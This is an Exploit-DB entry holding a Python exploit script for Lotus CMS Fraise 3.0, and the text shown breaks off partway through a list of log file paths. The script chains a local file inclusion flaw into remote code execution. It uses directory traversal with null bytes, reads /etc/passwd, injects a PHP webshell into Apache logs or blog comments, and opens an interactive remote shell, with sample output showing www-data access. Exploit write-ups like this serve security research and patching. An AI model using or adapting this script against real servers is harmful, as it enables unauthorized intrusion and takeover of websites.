Exploit-DB #15964
Description: Lotus CMS Fraise 3.0 - Local File Inclusion / Remote Code Execution
Type: webapps
Platform: php
Date: 2011-01-10
Author: mr_me

Exploit:
#!/usr/bin/python 
# Lotus CMS Fraise v3.0 LFI - Remote Code Execution Exploit
# greetz Tecr0C :0)
#
# Vuln: lines 15-23 in core/lib/router.php
#---------- sof
# //Get page request (if any)
# $page = $this->getInputString("page", "index");
#      
# //Get plugin request (if any)
# $plugin = $this->getInputString("system", "Page");
#       
# //If there is a request for a plugin
# if(file_exists("core/plugs/".$plugin."Starter.php")){
# 	//Include Page fetcher
#       include("core/plugs/".$plugin."Starter.php");
# --------- eof
#
# Additionally, the CMS allows an attacker to comment on blog posts which inturn will 
# write a file on the remote disk with possibly 'malicious' content inside.
#
# exploit includes: 
# - Proxy support
# - Dynamic User-agent generation
# - Apache access log and Lotus blog comment injection routines
# - Custom shell creation and deletion
# 
# Environment:
# Apache 2.2.14/PHP 5.3.2
# php.ini -> magic_quotes_gpc = Off
# 
# Example:
# [mr_me@pluto lotuscms]$ python luckylotus.py -c -i[PII_REDACTED] -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/
#
#	| -------------------------------------------- |
#	| Lotus CMS v3.0 Remote Code Execution Exploit |
#	| by mr_me - net-ninja.net ------------------- |
#
# (+) Exploiting target @: 192.168.56.101/webapps/lotus/lcms/
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Testing the file inclusion vulnerability.. file inclusion is working! 
# (+) Writing comment.. comment shell written sucessfully
# (+) Writing webshell d8e8fca2dc0f896fd7cb4cb0031ba249.php to the webroot..
# (+) Entering interactive remote console (q for quit)
#
# mr_me@192.168.56.101# id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
# mr_me@192.168.56.101# uname -a
# Linux steve-ubuntu 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
#
# mr_me@192.168.56.101# q

import sys, urllib, urllib2, socket, re, base64, getpass
from optparse import OptionParser
from random import choice

usage = "./%prog [<options>] -t [target] -d [directory path]"
usage += "\nExample 1: ./%prog -l -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/"
usage += "\nExample 2: ./%prog -c -i[PII_REDACTED] -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
                  help="Directory path to the CMS")
parser.add_option("-i", type="string", action="store", dest="blogPostId",
                  help="Blog Post ID that will be injected")
parser.add_option("-l", action="store_true", dest="logInject",
                  help="Code execution via apache access log")
parser.add_option("-c", action="store_true", dest="blogComInject",
                  help="Code execution via Blog comments")

(options, args) = parser.parse_args()

def banner():
    print "\n\t| -------------------------------------------- |"
    print "\t| Lotus CMS v3.0 Remote Code Execution Exploit |"
    print "\t| by mr_me - net-ninja.net ------------------- |\n"

if len(sys.argv) < 5:
	banner()
	parser.print_help()
	sys.exit(1)

# variables
exploit = "index.php?system="
dDS = "../" * 10
nB = "%00"
sName = "d8e8fca2dc0f896fd7cb4cb0031ba249"
phpShell = "<?php system(base64_decode($_GET[a]));?>"
cmd = "&a="
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Microsoft Internet Explorer/4.0b1 (Windows 95)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]
agent = choice(agents)

def getProxy():
    try:
        proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
    except(socket.timeout):
            print "\n(-) Proxy timed out"
            sys.exit(1)
    return proxy_handler
	
def getServerResponse(exploit):
	if options.proxy:
		try:
			opener = urllib2.build_opener(getProxy())
			opener.addheaders = [('User-agent', agent)]
			check = opener.open(exploit).read()
		except urllib2.HTTPError, error:
                        check = error.read()
			pass
	else:
		try:
			req = urllib2.Request(exploit)
                        req.addheaders = [('User-agent',agent)]
			check = urllib2.urlopen(req).read()
		except urllib2.HTTPError, error:
			check = error.read()
                        pass
	return check

def testFileInclusion():
	sys.stdout.write("\n(+) Testing the file inclusion vulnerability.. ")
	sys.stdout.flush()
	testFile = "etc/passwd"
	response = getServerResponse("http://" + options.target + options.dirPath + exploit + dDS + testFile + nB)
	if re.findall("root:x:", response):
		sys.stdout.write("file inclusion is working! \n")
		sys.stdout.flush()
	else:
		sys.stdout.write("file inclusion failed..\n")
		sys.stdout.flush()
		print "(-) Exiting.."
		sys.exit(1)

def writeDirtyLog():
	sys.stdout.write("(+) Poisoning the access log.. ")
	sys.stdout.flush()
        su = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		su.connect((options.target,80))
        except:
		print "(-) Failed sending the shell to target %s" % options.target

	junk = ("GET /hazStart"+phpShell+"hazEnd HTTP/1.1\r\nHost: "+options.target+"\r\nConnection: close\r\n\r\n")
	su.send(junk)
	su.close()
	sys.stdout.write("log poisoned!\n")
	sys.stdout.flush()

def huntLogFiles():
	foundLogs = []
	logs = ["var/log/httpd/access_log",
		"var/log/httpd/error_log",
		"apache/logs/error.log",
		"apache/logs/access.log",
		"apache/logs/error.log",
		"apache/logs/access.log",
		"apache/logs/error.log",
		"apache/logs/access.log",
		"apache/logs/error.log",
		"apache/logs/acce